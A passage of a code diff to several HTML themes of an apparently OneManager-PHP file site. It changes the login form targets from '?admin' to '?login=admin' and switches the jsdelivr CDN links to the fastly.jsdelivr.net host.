                     <input name="timestamp" type="hidden" value="">
                     <input type="submit" value="<!--constStr@Login-->">

theme/nchyn_grey.html

@@ -89,7 +89,7 @@
                                             <span aria-hidden="true">&times;</span>
                                         </button>
                                     </div>
-                                    <form action="?admin" method="post">
+                                    <form action="?login=admin" method="post">
                                         <div class="modal-body">
                                             <input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
                                         </div>

theme/onemoe.html

@@ -421,7 +421,7 @@
         <div style="margin:50px">
             <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
             <center>
-                <form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);">
+                <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
                     <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
                     <input name="timestamp" type="hidden" value="">
                     <input type="submit" value="<!--constStr@Login-->">

theme/purecool.html

@@ -457,7 +457,7 @@
         <div style="margin:50px">
             <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
 	        <center>
-	            <form action="<!--IsPreview?-->admin" method="post">
+	            <form action="<!--IsPreview?-->login=admin" method="post">
 		        <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
 		        <input type="submit" value="<!--constStr@Login-->">
 	            </form>

theme/renexmoe.html

@@ -1,7 +1,7 @@
 <!DOCTYPE html>
 <html lang="zh-CN">
   <head>
-    <link rel="preconnect" href="https://cdn.jsdelivr.net" />
+    <link rel="preconnect" href="https://fastly.jsdelivr.net" />
 <link rel="preconnect" href="https://fonts.googleapis.com" />
 <link rel="preconnect" href="https://fonts.gstatic.com" />
 <meta charset="utf-8" />
@@ -16,7 +16,7 @@
 />
 <title><!--Title--></title>
 <meta name="description" content="A Onemanager-PHP site with Theme-renexmoe" />
-<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/css/app.css"><meta name="theme-color" content="#fff" />
+<link rel="stylesheet" href="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/css/app.css"><meta name="theme-color" content="#fff" />
 <!--BackgroundStart-->
 <style>
   body {
@@ -98,9 +98,9 @@
     <div class="mdui-drawer mdui-drawer-close" id="main-drawer">
   <div class="mdui-list" mdui-collapse="{accordion: true}">
     <!--LoginStart-->
-<li class="mdui-list-item mdui-ripple" href="?admin" >
+<li class="mdui-list-item mdui-ripple" href="?login=admin" >
   <a class="mdui-list-item-icon mdui-icon material-icons">account_circle</a>
-  <a class="mdui-list-item-content" href="?admin">登录</a>
+  <a class="mdui-list-item-content" href="?login=admin">登录</a>
 </li>
 <!--LoginEnd-->
 <!--AdminStart-->
@@ -511,5 +511,5 @@
   { "music":"audiotrack", "video":"ondemand_video", "img":"image",
   "pdf":"picture_as_pdf", "default":"insert_drive_file"}
   <!--IconValuesEnd-->
-  <script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@1b381f3c.a4f2dc4618121eac37e2.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@28a13772.98a11cc0c1cf2495c3d8.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@34e3d95a.2f8dbf552095a86a7f1b.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@798ab416.9ed46bb752b71a3c13a4.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@9c50beac.30955a99f08c9574cd14.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@f0256996.956ea71aa357ba3fdc28.js"></script><script src="https://cdn.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/webpack-runtime.93708ab3e9cb84dcc01a.js"></script>
+  <script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@1b381f3c.a4f2dc4618121eac37e2.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@28a13772.98a11cc0c1cf2495c3d8.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@34e3d95a.2f8dbf552095a86a7f1b.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@798ab416.9ed46bb752b71a3c13a4.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@9c50beac.30955a99f08c9574cd14.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/app@f0256996.956ea71aa357ba3fdc28.js"></script><script src="https://fastly.jsdelivr.net/gh/186526/renexmoe-cdn@v1.3/js/webpack-runtime.93708ab3e9cb84dcc01a.js"></script>
 </html>

theme/tfo.html

@@ -187,7 +187,7 @@
 </path></svg></div>
     <div style="padding:1px" id="top-div">
 <!--LoginStart-->
-        <a class="login" href="?admin"><ion-icon name="add-circle-outline"></ion-icon></a><!--onclick="login();"-->
+        <a class="login" href="?login=admin"><ion-icon name="add-circle-outline"></ion-icon></a><!--onclick="login();"-->
 <!--LoginEnd-->
 <!--AdminStart-->
         <li class="operate" id="opflow"><ion-icon name="add-circle-outline"></ion-icon><ul>
@@ -585,7 +585,7 @@
         <div style="margin:50px">
             <a onclick="operatediv_close('login')" class="operatediv_close">×</a>
             <center>
-                <form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);">
+                <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
                     <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
                     <input name="timestamp" type="hidden" value="">
                     <input type="submit" value="<!--constStr@Login-->">